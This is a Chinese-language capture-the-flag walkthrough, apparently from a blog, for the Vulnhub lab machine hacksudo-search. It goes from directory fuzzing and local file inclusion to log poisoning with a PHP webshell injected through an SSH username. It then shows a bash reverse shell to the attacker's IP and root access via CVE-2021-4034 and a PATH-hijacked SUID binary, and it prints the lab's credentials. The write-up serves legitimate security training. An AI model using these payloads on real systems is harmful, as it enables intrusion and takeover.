Vulnhub靶机:hacksudo-search

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo-search(10.0.2.50)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hacksudo/hacksudo-search.zip

二、信息收集

使用nmap主机发现靶机ip:10.0.2.50

使用nmap端口扫描发现,靶机开放端口:22、80

80端口:打开网站发现是一个搜索页面,查看源码未发现隐藏信息

使用gobuster和dirsearch工具进行目录爆破,发现/.env、/robots.txt、/search1.php文件

复制代码
gobuster dir -u http://10.0.2.50 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dirsearch -u http://10.0.2.50 /usr/share/wordlists/dirb/big.txt


/.env文件存在一段加密信息和数据库的用户名密码:hiraman:MyD4dSuperH3r0!

aGFja3N1ZG8gaGVscCB5b3UgdG8gbGVhcm4gQ1RGICwgY29udGFjdCB1cyB3d3cuaGFja3N1ZG8uY29tL2NvbnRhY3QK

解密得到:hacksudo help you to learn CTF , contact us www.hacksudo.com/contact

/robots.txt文件

/search1.php文件是另一个搜索页面

查看源码发现隐藏信息:find me @hacksudo.com/contact @fuzzing always best option :)

点击Contact,在URL发现FUZZ字段:http://10.0.2.50/search1.php?FUZZ=contact.php,怀疑存在文件包含漏洞

使用wfuzz工具探测一波,发现一个LFI

复制代码
wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.50/search1.php?FUZZ=/etc/passwd

尝试包含/etc/passwd发现显示passwd文件的内容

三、漏洞利用

查看/etc/passwd文件发现存在5个用户

复制代码
monali:x:1001:1001:,,,:/home/monali:/bin/bash
john:x:1002:1002:,,,:/home/john:/bin/bash
search:x:1003:1003:,,,:/home/search:/bin/bash
hacksudo:x:1000:1000:hacksudo,,,:/home/hacksudo:/bin/bash
root:x:0:0:root:/root:/bin/bash

可以尝试包含这些用户的ssh私钥或一些日志文件,看看有没有权限访问

复制代码
/home/monali/.ssh/id_rsa
/home/john/.ssh/id_rsa
/home/search/.ssh/id_rsa
/home/hacksudo/.ssh/id_rsa

#ssh日志
/var/log/auth.log

发现包含ssh日志出现回显

可以通过在用户名处注入一句话木马然后使用蚁剑连接

复制代码
ssh '<?php @eval($_POST['pass']);?>'@10.0.2.50

反弹shell

复制代码
bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

获取交互式shell

复制代码
python3 -c 'import pty; pty.spawn("/bin/bash")'

四、提权

方法一:

使用命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件,发现存在/usr/lib/policykit-1/polkit-agent-helper-1,该版本的polkit存在提权漏洞CVE-2021-4034

查看靶机是否存在gcc环境,发现存在

使用蚁剑将exp上传,编译,执行,获取root权限

方法二:

根据之前目录爆破发现一个目录/account/,浏览器访问,发现数据库连接文件

使用文件包含漏洞读取dbconnect.php文件的内容

复制代码
http://192.168.178.10/search1.php?me=php://filter/convert.base64-encode/resource=./account/dbconnect.php

使用base64解密发现数据库用户名密码:hacksudo:p@ssword

尝试使用/.envdbconnect.php文件里面的用户名密码登录ssh,直接登录失败,但使用用户名密码:hacksudo:MyD4dSuperH3r0!,登录ssh成功

使用命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件,发现文件/home/hacksudo/search/tools/searchinstall

发现searchinstall程序的源码,该程序会先设置uid,然后以root命令执行install命令

我们可以通过更改系统的环境变量来进行提权

复制代码
cd /tmp
echo "/bin/sh" > install
chmod 777 install
export PATH=/tmp:$PATH

执行searchinstall程序获取root权限

获取flag

相关推荐
终焉暴龙王1 天前
CTFHub web进阶 php Bypass disable_function通关攻略
开发语言·安全·web安全·php
百川1 天前
Apache文件解析漏洞
web安全·apache
希望奇迹很安静1 天前
SSRF_XXE_RCE_反序列化学习
学习·web安全·ctf·渗透测试学习
程序员编程指南1 天前
Qt 网络编程进阶:网络安全与加密
c语言·网络·c++·qt·web安全
北极光SD-WAN组网2 天前
工业互联网时代,如何通过混合SD-WAN提升煤炭行业智能化网络安全
网络·安全·web安全
落鹜秋水2 天前
Cacti命令执行漏洞分析(CVE-2022-46169)
web安全·网络安全
未来之窗软件服务2 天前
网站访问信息追踪系统在安全与性能优化中的关键作用——网络安全—仙盟创梦IDE
安全·web安全·性能优化·仙盟创梦ide·东方仙盟
介一安全2 天前
【Web安全】逻辑漏洞之URL跳转漏洞:原理、场景与防御
安全·web安全·安全威胁分析·安全性测试·逻辑漏洞·url跳转
希望奇迹很安静2 天前
文件包含学习总结
安全·web安全·渗透测试学习
波吉爱睡觉2 天前
文件解析漏洞大全
web安全·网络安全